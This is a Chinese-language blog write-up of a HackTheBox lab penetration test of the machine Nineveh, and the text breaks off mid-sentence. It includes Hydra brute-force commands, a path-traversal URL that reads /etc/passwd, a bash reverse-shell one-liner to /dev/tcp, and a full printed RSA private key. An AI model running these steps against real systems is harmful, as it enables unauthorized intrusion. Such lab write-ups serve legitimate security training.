{"id":100,"date":"2024-11-13T09:12:36","date_gmt":"2024-11-13T01:12:36","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=100"},"modified":"2024-11-13T09:51:46","modified_gmt":"2024-11-13T01:51:46","slug":"htb_machine_nineves","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2024\/11\/13\/htb_machine_nineves\/","title":{"rendered":"HTB\u9776\u673a Nineves \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"<hr \/>\n<h1>\u76ee\u6807\u4fe1\u606f<\/h1>\n<blockquote><p><strong>IP\u5730\u5740\uff1a<\/strong><code>10.10.10.43<\/code><\/p><\/blockquote>\n<hr \/>\n<h1>\u4fe1\u606f\u6536\u96c6<\/h1>\n<h2>ICMP\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\">\u250c\u2500\u2500(root\u327fhacker)-[\/home\/\u2026\/Documents\/pentest_notes\/nineves\/nmap_reports]\n\u2514\u2500# ping -c 4 10.10.10.43\nPING 10.10.10.43 (10.10.10.43) 56(84) bytes of data.\n64 bytes from 10.10.10.43: icmp_seq=1 ttl=63 time=237 ms\n64 bytes from 10.10.10.43: icmp_seq=2 ttl=63 time=239 ms\n64 bytes from 10.10.10.43: icmp_seq=3 ttl=63 time=240 ms\n64 bytes from 10.10.10.43: icmp_seq=4 ttl=63 time=246 ms\n\n--- 10.10.10.43 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3015ms\nrtt min\/avg\/max\/mdev = 237.099\/240.645\/246.100\/3.357 ms<\/code><\/pre>\n<p>\u653b\u51fb\u673a\u548c\u9776\u673a\u95f4\u901a\u4fe1\u72b6\u6001\u826f\u597d\u3002<\/p>\n<h2>\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Thu Jun 20 08:31:38 2024 as: nmap -sA -p- --min-rate 2000 -oN .\/ack_result.txt 10.10.10.43\nNmap scan report for 10.10.10.43 (10.10.10.43)\nHost is up (0.28s latency).\nNot shown: 65533 filtered tcp ports (no-response)\nPORT    STATE      SERVICE\n80\/tcp  unfiltered http\n443\/tcp unfiltered https\n\n# Nmap done at Thu Jun 20 08:32:44 2024 -- 1 IP address (1 host up) scanned in 66.52 seconds<\/code><\/pre>\n<p>\u9776\u673a\u5f00\u653e\u4e86<code>2<\/code>\u4e2a<code>TCP<\/code>\u7aef\u53e3\u3002<\/p>\n<h2>\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n<p><code>TCP<\/code><strong>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Thu Jun 20 08:35:18 2024 as: nmap -sS -sV -A -p 80,443 -oN .\/tcp_result.txt 10.10.10.43\nNmap scan report for 10.10.10.43 (10.10.10.43)\nHost is up (0.27s latency).\n\nPORT    STATE SERVICE  VERSION\n80\/tcp  open  http     Apache httpd 2.4.18 ((Ubuntu))\n|_http-server-header: Apache\/2.4.18 (Ubuntu)\n|_http-title: Site doesn't have a title (text\/html).\n443\/tcp open  ssl\/http Apache httpd 2.4.18 ((Ubuntu))\n| ssl-cert: Subject: commonName=nineveh.htb\/organizationName=HackTheBox Ltd\/stateOrProvinceName=Athens\/countryName=GR\n| Not valid before: 2017-07-01T15:03:30\n|_Not valid after:  2018-07-01T15:03:30\n| tls-alpn: \n|_  http\/1.1\n|_http-title: Site doesn't have a title (text\/html).\n|_ssl-date: TLS randomness does not represent time\n|_http-server-header: Apache\/2.4.18 (Ubuntu)\nWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port\nDevice type: general purpose|specialized|phone|storage-misc\nRunning (JUST GUESSING): Linux 3.X|4.X (90%), Crestron 2-Series (86%), Google Android 4.X (86%), HP embedded (85%)\nOS CPE: cpe:\/o:linux:linux_kernel:3 cpe:\/o:linux:linux_kernel:4 cpe:\/o:crestron:2_series cpe:\/o:google:android:4.0 cpe:\/h:hp:p2000_g3\nAggressive OS guesses: Linux 3.10 - 4.11 (90%), Linux 3.16 (90%), Linux 3.16 - 4.6 (90%), Linux 3.18 (90%), Linux 3.2 - 4.9 (90%), Linux 4.2 (90%), Linux 4.4 (90%), Linux 3.12 (88%), Linux 3.13 (88%), Linux 3.13 or 4.2 (88%)\nNo exact OS matches for host (test conditions non-ideal).\nNetwork Distance: 2 hops\n\nTRACEROUTE (using port 80\/tcp)\nHOP RTT       ADDRESS\n1   266.58 ms 10.10.14.1 (10.10.14.1)\n2   266.58 ms 10.10.10.43 (10.10.10.43)\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Thu Jun 20 08:35:55 2024 -- 1 IP address (1 host up) scanned in 37.44 seconds<\/code><\/pre>\n<p><code>UDP<\/code><strong>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Thu Jun 20 08:37:05 2024 as: nmap -sU -p- --min-rate 2000 -oN .\/udp_port.txt 10.10.10.43\nNmap scan report for 10.10.10.43 (10.10.10.43)\nHost is up (0.29s latency).\nAll 65535 scanned ports on 10.10.10.43 (10.10.10.43) are in ignored states.\nNot shown: 65535 open|filtered udp ports (no-response)\n\n# Nmap done at Thu Jun 20 08:38:13 2024 -- 1 IP address (1 host up) scanned in 68.38 seconds<\/code><\/pre>\n<p><code>UDP<\/code><strong>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\">\uff08\u65e0\uff09<\/code><\/pre>\n<p>\u540c\u65f6\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u4e3a<code>Ubuntu Linux<\/code>\uff0c\u5185\u6838\u7248\u672c\u4e3a<code>Linux 3.10 - 4.11<\/code>\uff0c\u6709\u4e3b\u57df\u540d<code>nineveh.htb<\/code>\u3002<\/p>\n<hr \/>\n<h1>\u670d\u52a1\u63a2\u6d4b<\/h1>\n<h2>Web\u5e94\u7528\u7a0b\u5e8f\uff08443\u7aef\u53e3\uff09<\/h2>\n<p>\u8bbf\u95ee\u4e3b\u9875\uff1a<code>https:\/\/nineveh.htb<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1718845646897-800a9478-48b1-4717-afd5-7a0a929b3abf.png\" alt=\"\" \/><\/p>\n<p>\u67e5\u770b\u6e90\u4ee3\u7801\u672a\u53d1\u73b0\u4efb\u4f55\u4fe1\u606f\uff0c\u76f4\u63a5\u626b\u63cf\u76ee\u5f55\uff1a<\/p>\n<pre><code class=\"language-plain\"># Dirsearch started Thu Jun 20 09:08:46 2024 as: \/usr\/lib\/python3\/dist-packages\/dirsearch\/dirsearch.py -u https:\/\/nineveh.htb\/ -x 400,403,404 -t 60 -e php,js,html,asp,aspx,txt,zip,tar.gz,pcap\n\n301   309B   https:\/\/nineveh.htb\/db    -&gt; REDIRECTS TO: https:\/\/nineveh.htb\/db\/\n200     3KB  https:\/\/nineveh.htb\/db\/\n200     3KB  https:\/\/nineveh.htb\/db\/index.php<\/code><\/pre>\n<p>\u6210\u529f\u53d1\u73b0<code>\/db<\/code>\u76ee\u5f55\uff0c\u8bbf\u95ee\u4e4b\u540e\u53d1\u73b0\u90e8\u7f72\u4e86<code>PHPLiteAdmin<\/code>\u6570\u636e\u5e93\u7ba1\u7406\u7cfb\u7edf\uff0c\u7248\u672c\u4e3a<code>1.9<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1718847240548-a9c8529b-2aaf-4408-b510-3d9d3967b8e0.png\" alt=\"\" \/><\/p>\n<h2>Web\u5e94\u7528\u7a0b\u5e8f\uff0880\u7aef\u53e3\uff09<\/h2>\n<p>\u6253\u5f00\u4e3b\u9875\uff1a<code>http:\/\/nineveh.htb<\/code><\/p>\n<pre><code class=\"language-html\">&lt;html&gt;&lt;body&gt;&lt;h1&gt;It works!&lt;\/h1&gt;\n&lt;p&gt;This is the default web page for this server.&lt;\/p&gt;\n&lt;p&gt;The web server software is running but no content has been added, yet.&lt;\/p&gt;\n&lt;\/body&gt;&lt;\/html&gt;<\/code><\/pre>\n<p>\u76f4\u63a5\u626b\u63cf\u76ee\u5f55\uff0c\u53d1\u73b0\u4e86<code>info.php<\/code>\uff08PHPInfo\uff09\u548c<code>\/department<\/code>\u76ee\u5f55\uff0c\u8bbf\u95ee\u76ee\u5f55\u53d1\u73b0\u662f\u767b\u5f55\u9875\u9762\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1718849700044-9bc36843-1ec2-45fa-9a12-144af8ed663c.png\" alt=\"\" \/><\/p>\n<p>\u540c\u65f6\u5728\u8be5\u9875\u9762\u7684\u6e90\u4ee3\u7801\u4e2d\u53d1\u73b0\u5982\u4e0b\u6ce8\u91ca\uff1a<\/p>\n<pre><code class=\"language-html\">&lt;!-- @admin! MySQL is been installed.. please fix the login page! ~amrois --&gt;<\/code><\/pre>\n<p>\u786e\u5b9a\u4e86\u8be5\u9875\u9762\u670d\u52a1\u6709\u7528\u6237<code>admin<\/code>\u3002<\/p>\n<hr \/>\n<h1>\u6e17\u900f\u6d4b\u8bd5<\/h1>\n<h2>\u7206\u7834PHPLiteAdmin\u5bc6\u7801<\/h2>\n<p>\u6253\u5f00<code>https:\/\/nineveh.htb\/db\/index.php<\/code>\uff0c\u968f\u4fbf\u8f93\u5165\u4e00\u4e2a\u5bc6\u7801\uff0c\u622a\u53d6\u767b\u5f55\u6d41\u91cf\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1718850540739-a460613b-16e2-4828-a624-845f3acbcd01.png\" alt=\"\" \/><\/p>\n<p>\u968f\u540e\u4f7f\u7528<code>Hydra<\/code>\u7206\u7834\u5bc6\u7801\uff08\u5b57\u5178\u4f7f\u7528<code>rockyou.txt<\/code>\uff09\uff1a<\/p>\n<pre><code class=\"language-bash\">hydra -L \/usr\/share\/wordlists\/rockyou.txt -p yes -t 60 -f nineveh.htb https-post-form \"\/db\/index.php:password=^USER^&amp;remember=^PASS^&amp;login=Log+In&amp;proc_login=true:Incorrect\"<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1718850600216-96993af1-5f46-4a81-8e03-cc9d401e8487.png\" alt=\"\" \/><\/p>\n<p><strong>\u6210\u529f\u627e\u5230<\/strong><code>PHPLiteAdmin<\/code><strong>\u767b\u5f55\u53e3\u4ee4\uff1a<\/strong><code>password123<\/code><strong>\u3002<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1718850708206-a2a442c4-8a9a-4c18-92d5-1b746b7a5c04.png\" alt=\"\" \/><\/p>\n<p>\u867d\u7136\u6570\u636e\u5e93\u5185\u770b\u4f3c\u6ca1\u6709\u4efb\u4f55\u4fe1\u606f\uff0c\u4f46\u662f\u8be5\u7248\u672c<code>PHPMyAdmin<\/code>\u5b58\u5728\u4ee3\u7801\u5199\u5165\u6f0f\u6d1e\u3002<\/p>\n<h2>\u7206\u7834\u964c\u751f\u7ad9\u70b9\u5bc6\u7801<\/h2>\n<p>\u5c1d\u8bd5\u7206\u7834<code>HTTPS<\/code>\u7ad9\u70b9\u4e0b<code>\/department<\/code>\u7cfb\u7edf\u7684\u5bc6\u7801\uff1a<\/p>\n<pre><code class=\"language-bash\">hydra -l admin -P \/usr\/share\/wordlists\/rockyou.txt -t 60 -f nineveh.htb http-post-form \"\/department\/login.php:username=^USER^&amp;password=^PASS^&amp;rememberme=on:Invalid\"<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1718855338053-2eae73b2-b532-4002-b1b7-2d0dcca9182c.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u627e\u5230\u767b\u5f55\u51ed\u636e\uff1a<\/p>\n<ul>\n<li><strong>\u7528\u6237\u540d\uff1a<\/strong><code>admin<\/code><\/li>\n<li><strong>\u5bc6\u7801\uff1a<\/strong><code>1q2w3e4r5t<\/code><\/li>\n<\/ul>\n<p>\u76f4\u63a5\u767b\u5f55\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1718855414607-0aa06d5e-ec23-489e-a32a-2706cd43dbad.png\" alt=\"\" \/><\/p>\n<h2>\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\u5229\u7528<\/h2>\n<p>\u767b\u5f55\u540e\u53f0\u4e4b\u540e\uff0c\u70b9\u51fb<code>Notes<\/code>\u6309\u94ae\uff0c\u53d1\u73b0\u7f51\u9875\u5730\u5740\u680f\u7684\u683c\u5f0f\u975e\u5e38\u50cf\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1718855571305-a90dfc6b-a637-4b25-ac2f-1cd63098b0b8.png\" alt=\"\" \/><\/p>\n<pre><code class=\"language-plain\">http:\/\/nineveh.htb\/department\/manage.php?notes=files\/ninevehNotes.txt<\/code><\/pre>\n<p>\u5c1d\u8bd5\u5c06\u5176\u6539\u4e3a<code>..\/..\/..\/..\/..\/..\/..\/etc\/passwd<\/code>\uff0c\u5931\u8d25\u3002<\/p>\n<p>\u5c1d\u8bd5\u5305\u542b\u5173\u952e\u5b57<code>ninevehNotes<\/code>\uff0c\u6210\u529f\uff1a<\/p>\n<pre><code class=\"language-plain\">http:\/\/nineveh.htb\/department\/manage.php?notes=files\/ninevehNotes\/..\/..\/..\/..\/..\/..\/etc\/passwd<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1718855694439-c7b55250-fcc1-437e-b230-87ecb82e638a.png\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u56de<code>PHPLiteAdmin<\/code>\u6839\u636e\u6f0f\u6d1e\u63cf\u8ff0\u5728<code>\/var\/tmp<\/code>\u76ee\u5f55\u4e0b\u521b\u5efa\u4e00\u4e2a\u540e\u95e8\u6728\u9a6c\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1718855752222-2ffc358f-b84b-4567-810e-33079c2e2f97.png\" alt=\"\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1718857593102-b0a54ca7-fd2f-402c-86ef-2316d2937cc1.png\" alt=\"\" \/><\/p>\n<p>\u968f\u540e\u4f7f\u7528<code>BurpSuite<\/code>\u8bbf\u95ee\u6587\u4ef6\u5305\u542b\u9875\u9762\u53cd\u5f39Shell\uff1a<\/p>\n<pre><code class=\"language-bash\">\/bin\/bash -c 'bash -i &gt;&amp; \/dev\/tcp\/10.10.14.2\/443 0&gt;&amp;1'<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1718857800364-d675acb3-6b5f-4dd4-af2c-d9e7c43e1b6b.png\" alt=\"\" \/><\/p>\n<p><strong>\u6210\u529f\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u6743\u9650\u63d0\u5347<\/h1>\n<h2>\u53d1\u73b0SSH\u79c1\u94a5<\/h2>\n<p>\u8fdb\u5165\u7cfb\u7edf\u4e4b\u540e\uff0c\u5728<code>\/var\/www<\/code>\u76ee\u5f55\u4e0b\u8fdb\u884c\u9884\u4fe1\u606f\u6536\u96c6\uff0c\u53d1\u73b0\u4e86\u964c\u751f\u76ee\u5f55<code>\/secure_notes<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1718929703183-83d6ad03-1409-4de1-a1dd-b691ee10b752.png\" alt=\"\" \/><\/p>\n<p>\u91cc\u9762\u6709<code>index.html<\/code>\u6587\u4ef6\u548c\u4e00\u5f20\u56fe\u7247\u3002\u5c1d\u8bd5\u8bbf\u95ee<code>https:\/\/nineveh.htb\/secure_notes\/<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1718929821903-02218969-56dd-47f2-b60a-891438d8e987.png\" alt=\"\" \/><\/p>\n<pre><code class=\"language-html\">&lt;html&gt;\n&lt;body&gt;\n&lt;center&gt;&lt;img src=nineveh.png \/&gt;&lt;\/center&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;<\/code><\/pre>\n<p>\u5c1d\u8bd5\u5c06\u56fe\u7247\u4fdd\u5b58\u5230\u672c\u5730\uff0c\u4f7f\u7528<code>binwalk<\/code>\u8fdb\u884c\u5206\u6790\uff0c\u53d1\u73b0\u56fe\u7247\u672b\u5c3e\u8ffd\u52a0\u4e86\u4e00\u4e2a<code>Tar<\/code>\u538b\u7f29\u5305\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1718929951078-1680d67b-84e5-4a81-b550-69709051741e.png\" alt=\"\" \/><\/p>\n<p>\u4f7f\u7528<code>binwalk<\/code>\u547d\u4ee4\u5206\u79bb\u6587\u4ef6\uff1a<\/p>\n<pre><code class=\"language-bash\">binwalk -e .\/nineveh.png --run-as=root<\/code><\/pre>\n<p>\u89e3\u538b\u538b\u7f29\u5305\u540e\uff0c\u53d1\u73b0\u91cc\u9762\u6709<code>SSH<\/code>\u7684\u516c\u79c1\u94a5\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1718930342466-e45ffb65-1517-448a-8cd2-7533aa289720.png\" alt=\"\" \/><\/p>\n<pre><code class=\"language-plain\">-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEAri9EUD7bwqbmEsEpIeTr2KGP\/wk8YAR0Z4mmvHNJ3UfsAhpI\nH9\/Bz1abFbrt16vH6\/jd8m0urg\/Em7d\/FJncpPiIH81JbJ0pyTBvIAGNK7PhaQXU\nPdT9y0xEEH0apbJkuknP4FH5Zrq0nhoDTa2WxXDcSS1ndt\/M8r+eTHx1bVznlBG5\nFQq1\/wmB65c8bds5tETlacr\/15Ofv1A2j+vIdggxNgm8A34xZiP\/WV7+7mhgvcnI\n3oqwvxCI+VGhQZhoV9Pdj4+D4l023Ub9KyGm40tinCXePsMdY4KOLTR\/z+oj4sQT\nX+\/1\/xcl61LADcYk0Sw42bOb+yBEyc1TTq1NEQIDAQABAoIBAFvDbvvPgbr0bjTn\nKiI\/FbjUtKWpWfNDpYd+TybsnbdD0qPw8JpKKTJv79fs2KxMRVCdlV\/IAVWV3QAk\nFYDm5gTLIfuPDOV5jq\/9Ii38Y0DozRGlDoFcmi\/mB92f6s\/sQYCarjcBOKDUL58z\nGRZtIwb1RDgRAXbwxGoGZQDqeHqaHciGFOugKQJmupo5hXOkfMg\/G+Ic0Ij45uoR\nJZecF3lx0kx0Ay85DcBkoYRiyn+nNgr\/APJBXe9Ibkq4j0lj29V5dT\/HSoF17VWo\n9odiTBWwwzPVv0i\/JEGc6sXUD0mXevoQIA9SkZ2OJXO8JoaQcRz628dOdukG6Utu\nBato3bkCgYEA5w2Hfp2Ayol24bDejSDj1Rjk6REn5D8TuELQ0cffPujZ4szXW5Kb\nujOUscFgZf2P+70UnaceCCAPNYmsaSVSCM0KCJQt5klY2DLWNUaCU3OEpREIWkyl\n1tXMOZ\/T5fV8RQAZrj1BMxl+\/UiV0IIbgF07sPqSA\/uNXwx2cLCkhucCgYEAwP3b\nvCMuW7qAc9K1Amz3+6dfa9bngtMjpr+wb+IP5UKMuh1mwcHWKjFIF8zI8CY0Iakx\nDdhOa4x+0MQEtKXtgaADuHh+NGCltTLLckfEAMNGQHfBgWgBRS8EjXJ4e55hFV89\nP+6+1FXXA1r\/Dt\/zIYN3Vtgo28mNNyK7rCr\/pUcCgYEAgHMDCp7hRLfbQWkksGzC\nfGuUhwWkmb1\/ZwauNJHbSIwG5ZFfgGcm8ANQ\/Ok2gDzQ2PCrD2Iizf2UtvzMvr+i\ntYXXuCE4yzenjrnkYEXMmjw0V9f6PskxwRemq7pxAPzSk0GVBUrEfnYEJSc\/MmXC\niEBMuPz0RAaK93ZkOg3Zya0CgYBYbPhdP5FiHhX0+7pMHjmRaKLj+lehLbTMFlB1\nMxMtbEymigonBPVn56Ssovv+bMK+GZOMUGu+A2WnqeiuDMjB99s8jpjkztOeLmPh\nPNilsNNjfnt\/G3RZiq1\/Uc+6dFrvO\/AIdw+goqQduXfcDOiNlnr7o5c0\/Shi9tse\ni6UOyQKBgCgvck5Z1iLrY1qO5iZ3uVr4pqXHyG8ThrsTffkSVrBKHTmsXgtRhHoc\nil6RYzQV\/2ULgUBfAwdZDNtGxbu5oIUB938TCaLsHFDK6mSTbvB\/DywYYScAWwF7\nfw4LVXdQMjNJC3sn3JaqY1zJkE4jXlZeNQvCx4ZadtdJD9iO+EUG\n-----END RSA PRIVATE KEY-----<\/code><\/pre>\n<p>\u731c\u6d4b\u53ef\u80fd\u9776\u673a\u7684<code>SSH<\/code>\u670d\u52a1\u53ea\u5bf9\u672c\u673a<code>IP<\/code>\uff08<code>127.0.0.1<\/code>\uff09\u5f00\u653e\u3002<\/p>\n<h2>\u672c\u5730\u4fe1\u606f\u6536\u96c6<\/h2>\n<p><strong>\u57fa\u672c\u7cfb\u7edf\u4fe1\u606f<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1718931117280-e69288fb-7ea8-438a-a19c-848d1dedbb69.png\" alt=\"\" \/><\/p>\n<p><strong>\u8fdb\u7a0b\u5217\u8868<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1718931127503-4859582b-482f-490f-841f-ce275c5a41c7.png\" alt=\"\" \/><\/p>\n<p><strong>\u8ba1\u5212\u4efb\u52a1\u5217\u8868<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1718931133143-a6d00314-c5f4-4430-9114-e3502c808920.png\" alt=\"\" \/><\/p>\n<p><strong>\u73af\u5883\u53d8\u91cf<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1718931140303-5979a46a-475f-4aed-8f1a-a486081e59c6.png\" alt=\"\" \/><\/p>\n<p><strong>\u7528\u6237\u4fe1\u606f<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1718931149992-31149a0a-6ffa-4381-80af-1cd04abde85e.png\" alt=\"\" \/><\/p>\n<p><strong>\u7528\u6237\u5bb6\u76ee\u5f55<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1718931158492-62e59010-5237-4ddf-b8e2-481bfa6d09a9.png\" alt=\"\" \/><\/p>\n<p><strong>\u7279\u6b8a\u6743\u9650\u6587\u4ef6<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1718931166672-61c962aa-1eac-4d90-87e6-8c9312453c6c.png\" alt=\"\" \/><\/p>\n<p><strong>\u5f00\u653e\u7aef\u53e3\u4fe1\u606f<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1718931173543-f11d4027-07ab-4b77-ad54-a960d28668ba.png\" alt=\"\" \/><\/p>\n<p><strong>\u654f\u611f\u6587\u4ef6\u6743\u9650<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1718931181179-1e10fff1-ec70-4799-afb0-36ed2d8a98ed.png\" alt=\"\" \/><\/p>\n<p><strong>\u5bb9\u5668\u8f6f\u4ef6<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1718931187238-12a09633-b908-4e68-a274-1b168a736189.png\" alt=\"\" \/><\/p>\n<p><strong>\u7aef\u53e3\u6572\u95e8\u914d\u7f6e\u6587\u4ef6<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1718931195056-9949698b-f4a2-4d83-baac-f9053473a329.png\" alt=\"\" \/><\/p>\n<p>\u7ecf\u5206\u6790\u7814\u5224\uff0c\u53d1\u73b0\u9776\u673a<code>\/var\/www\/ssl\/secure_notes\/nineveh.png<\/code>\u6587\u4ef6\u5b58\u5728\u9690\u5199\uff0c\u62fc\u63a5\u4e86\u4e00\u4e2a\u542b\u6709<code>SSH<\/code>\u79c1\u94a5\u6587\u4ef6\u7684\u538b\u7f29\u5305\uff1b\u4e14\u9776\u673a<code>SSH<\/code>\u670d\u52a1\u7684\u7aef\u53e3\u6572\u95e8\u987a\u5e8f\u4e3a<code>571<\/code>\u3001<code>290<\/code>\u3001<code>911<\/code>\uff0c\u51b3\u5b9a\u901a\u8fc7\u767b\u5f55<code>SSH<\/code>\uff08<code>amrois<\/code>\u7528\u6237\uff09\u8fdb\u884c\u63d0\u6743\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1718932187859-8f053b6f-f920-4382-8af5-ffc45f76d7af.png\" alt=\"\" \/><\/p>\n<p><strong>\u767b\u5f55\u6210\u529f\uff01\uff01<\/strong><\/p>\n<h2>\u5b9a\u65f6\u7a0b\u5e8f\u63d0\u6743<\/h2>\n<p>\u5728\u9776\u673a\u6839\u76ee\u5f55\u4e0b\u53d1\u73b0\u4e86<code>\/report<\/code>\u6587\u4ef6\u5939\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1718935246260-908e55ba-b4ff-4fb3-928d-504855639e03.png\" alt=\"\" \/><\/p>\n<p>\u8fd8\u53d1\u73b0\u4e86\u5f53\u524d\u7528\u6237\u5728\u5b9a\u65f6\u8fd0\u884c<code>\/usr\/sbin\/report-reset.sh<\/code>\u811a\u672c\uff0c\u8be5\u811a\u672c\u4f1a\u5220\u9664\u8be5\u65e5\u5fd7\u76ee\u5f55\u4e0b\u7684\u6240\u6709\u6587\u672c\u6587\u4ef6\uff0c\u4f46\u6e05\u9664\u8fc7\u540e\u9694\u4e00\u6bb5\u65f6\u95f4\u8be5\u76ee\u5f55\u4e0b\u53c8\u4f1a\u591a\u51fa\u5176\u5b83\u65e5\u5fd7\uff0c\u800c\u4e14\u6587\u4ef6\u540d\u4e2d\u7684\u65f6\u95f4\u5728\u4e0d\u65ad\u53d8\u5316\uff0c\u56e0\u6b64\u786e\u5b9a\u9664\u4e86\u5f53\u524d\u7528\u6237\u8fd0\u884c\u7684\u811a\u672c\uff0c\u9776\u673a\u4e2d\u8fd8\u6709\u522b\u7684\u8ba1\u5212\u4efb\u52a1\u5728\u8fd0\u884c\u3002<\/p>\n<p>\u5c1d\u8bd5\u6253\u5f00\u5176\u4e2d\u4e00\u4e2a\u6587\u4ef6\uff0c\u590d\u5236\u90e8\u5206\u8f93\u51fa\u7684\u5185\u5bb9\u5230\u7f51\u7edc\u4e0a\u641c\u7d22\uff0c\u53d1\u73b0\u5927\u591a\u6570\u7ed3\u679c\u90fd\u548c<code>chkrootkit<\/code>\u75c5\u6bd2\u68c0\u6d4b\u7a0b\u5e8f\u6709\u5173\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1718935577246-ebab64ec-f313-4ae7-8623-83062614d5e2.png\" alt=\"\" \/><\/p>\n<p>\u70b9\u51fb\u7b2c\u4e00\u4e2a\u7ed3\u679c\uff0c\u67e5\u770b\u535a\u6587\u4e2d\u8bb0\u5f55\u7684<code>chkrootkit<\/code>\u8f93\u51fa\u65e5\u5fd7\uff0c\u53d1\u73b0\u5176\u5185\u5bb9\u548c<code>\/report<\/code>\u76ee\u5f55\u4e0b\u7684\u65e5\u5fd7\u683c\u5f0f\u548c\u5185\u5bb9\u51e0\u4e4e\u5b8c\u5168\u76f8\u540c\uff0c\u57fa\u672c\u786e\u5b9a\u7cfb\u7edf\u5728\u5b9a\u65f6\u8fd0\u884c<code>\/usr\/bin\/chkrootkit<\/code>\u7a0b\u5e8f\u3002<\/p>\n<p>\u5c1d\u8bd5\u4f7f\u7528<code>chkrootkit 